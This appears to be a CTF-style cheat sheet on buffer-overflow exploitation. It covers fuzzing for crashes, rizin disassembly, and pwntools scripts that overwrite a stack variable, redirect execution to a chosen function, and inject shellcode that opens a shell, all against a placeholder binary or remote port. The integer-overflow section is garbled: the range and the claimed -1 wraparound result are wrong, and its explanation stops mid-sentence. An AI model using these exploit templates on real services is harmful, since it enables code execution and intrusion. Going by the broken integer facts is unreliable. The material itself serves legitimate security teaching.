Binary Exploitation with Buffer Overflow

Last modified: 2023-08-14

Reverse Engineering

Buffer overflow occurs when a program attempts to write more data to a buffer, or temporary data storage area, than it can hold. This can result in overwriting adjacent memory locations, potentially causing the program to crash or even allowing an attacker to execute arbitrary code on the target system. In the context of binary exploitation, this attack can be used to gain control of the program flow and redirect it to run attacker-controlled code, known as shellcode.

Investigation

Functions Lead to Buffer Overflow

If the binary uses the following functions, Buffer Overflow may occurs.

gets()
fgets()
scanf()
sprintf()
strcpy()
strcat()

Basic Buffer Overflow

Try to find what values lead to segmentation fault.

python3 -c 'print("A"*30)' | ./example
python3 -c 'print("A"*40)' | ./example
python3 -c 'print("A"*50)' | ./example
...

Exploitation

Abuse input/output by typing a lot of characters more than the program expects..

./example

Type something:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Exploitation using Pwntools

#!/usr/bin/python3
from pwn import *

ip   = '10.0.0.1'
port = 1337

r = remote(ip, port)
# r = process("./example")

# Payload
offset = 30
payload = b'A' * offset

# Send payload
r.sendline(payload)

# Print the output
print(r.recvall().decode())

# Post process
r.interactive()

Overriding Variables

The program executes input/output by gets() or scanf(), and limit the buffer size of the variable, we can modify the variable then lead to unexpected behavior.
For instance, assume the program is as follow.

rizin -d ./example
[0x0000]> aaa

# Disassemble the function
[0x0000]> pdf @ main
# An example result
sub   rsp, 0x70
call  sym.imp.__isoc99_scanf       ; int scanf(const char *format)
cmp   dword [rbp-0x4], 0xdeadbeef
jne   0x5569e8600992
lea   rdi, str.bin_sh              ; "/bin/sh"
ret

First find the distance from the stack pointer to rbp-0x4 (0x04).

python3
>>> int(0x70-0x4)
108

Exploitation using Pwntools

from pwn import *

context.update(arch="amd64", os="linux")

payload = b"A" * 108
payload += p32(0xdeadbeef)

p = process('./example') # p = remote('example.com', '1337') for remote connection
p.sendline(payload)
p.interactive()

Overriding the Next Call

If the program uses get() or scanf(), we can specify the address of the desired calls by overwriting the address.
Assume the program has the above two functions.

0x0040158c  main
0x00401194  vuln_fn

For instance, if we want to call the “vuln_fn” function, override the address of the next call using buffer overflow.

Exploitation 1

from pwn import *

context.update(arch="amd64", os="linux")

elf = context.binary = ELF("./example")

payload = b"A" * 32
# Give the address of the desired function.
payload += p64(elf.sym["vuln_fn"])
# or if PIE is disabled, we can set the address directly.
# payload += p64(0x00401194)

p = process('./example') # p = remote('example.com', '1337') for remote connection.

p.sendline(payload)
p.interactive()

Exploitation 2

from pwn import *

exe = ELF("./example")

r = process(exe.path)
# r = remote("10.0.0.1", "1337")

base_addr = 0x123456
payload = b'A'*0x30 + p64(exe.bss()) + p64(base_addr)
r.sendline(payload)

r.interactive()

Shellcode

We can create the crafted shell code and override the address to execute the shell code.
Use Pwntools to create the shell code.

from pwn import *

context.update(arch="amd64", os="linux")

payload = b"A" * 50 + b"B" * 8
payload += asm(shellcraft.sh())

p = process('./example') # p = remote('example.com', '1337') for remote connection
p.sendline(payload)
p.interactive()

Integer Overflow

If the program processes integer values with input/output, we can abuse it by overflow of integer.
The range of 32-bit integer is -2147483647 to 2147483647, so if we type the max value +1 in input for instance, the result is -1. This is because

./example

Type number:
>> 2147483648
The number you entered is -1.